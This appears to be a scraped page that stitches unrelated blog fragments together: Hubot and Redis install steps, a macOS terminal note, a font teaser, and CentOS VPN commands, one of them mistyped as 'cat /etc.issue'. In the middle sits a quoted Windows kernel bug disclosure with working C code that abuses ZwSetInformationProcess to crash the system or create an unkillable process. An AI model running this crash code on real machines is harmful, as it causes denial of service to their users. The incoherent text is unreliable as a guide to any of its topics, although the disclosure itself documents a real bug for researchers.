Source code screenshot
hubot install. hubot 机器人安裝
Hubot
This is a version of GitHub’s Campfire bot, hubot. He’s pretty cool.
You’ll probably never have to hack on this repo directly.
Instead this repo provides a library that’s distributed by npm
that you simply require in your project. Follow the instructions below and get your own hubot ready to deploy.
1.安装nodejs和npm (node v0.6.3+版本以后已经集成npm)
2.安装redis数据库
http://redis.googlecode.com 下载redis
$ tar xzf redis-x.x.x.x.tar.gz 解压文件
$ cd redis-2.4.1
$ make
启动服务: $ src/redis-server
ProcessIoPriority Bug (BSOD/Non-Killable Process)
//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar
BSOD:
#define ProcessIoPriority 0x21
int main()
{
unsigned long val=0xFFFFFFFF;
int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
if(ret<0) printf("Error %x\r\n",ret);
ExitProcess(0);
return 0;
}
Non-Killable Process:
#define ProcessIoPriority 0x21
int main()
{
unsigned long val=0x8000F129;
int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
if(ret<0) printf("Error %x\r\n",ret);
ExitProcess(0);
return 0;
}
Description:
With the “ProcessInformationClass” parameter set to ProcessIoPriority 0x21, passing certain signed values e.g. 0xFFFFFFFF or 0x8000F129 in the variable pointed to by the “ProcessInformation” parameter to the ntdll “ZwSetInformationProcess” function can be abused to arbitrarily set certain bit flags of the corresponding “_EPROCESS” structure e.g. DefaultIoPriority: Pos 27, ProcessSelfDelete : Pos 30, or SetTimerResolutionLink: Pos 31.
Link:http://waleedassar.blogspot.tw/2013/02/kernel-bug-1-processiopriority.html
再谈Mac 终端的高亮
也不知道为什么苹果不愿意默认情况下让那个终端支持高亮,每次都要非诚蛋疼的重新配置,哈哈,其实问题的关键是我用的不是mac的主机,用的虚拟机跑的mac,现在还是挺顺畅的。今天这里要介绍的不是配置脚本,是另外的一个终端工具,fish。嘎嘎
上图就是效果啦,还是非常不错的。
HackingTrashed Font
THi5 i5 th3 h4ckin9 f0nt! c1ick h3r3 2 d0wnl04d!
关闭Adobe Flash Player 自动上传
CentOS 6.2架设VPN和619错误排除
一、获取系统版本和相关的内核信息:
cat /etc.issue
uname -a
cat /dev/ppp
cat /dev/net/tun
可以看到系统为CentOS release 6.2 (Final)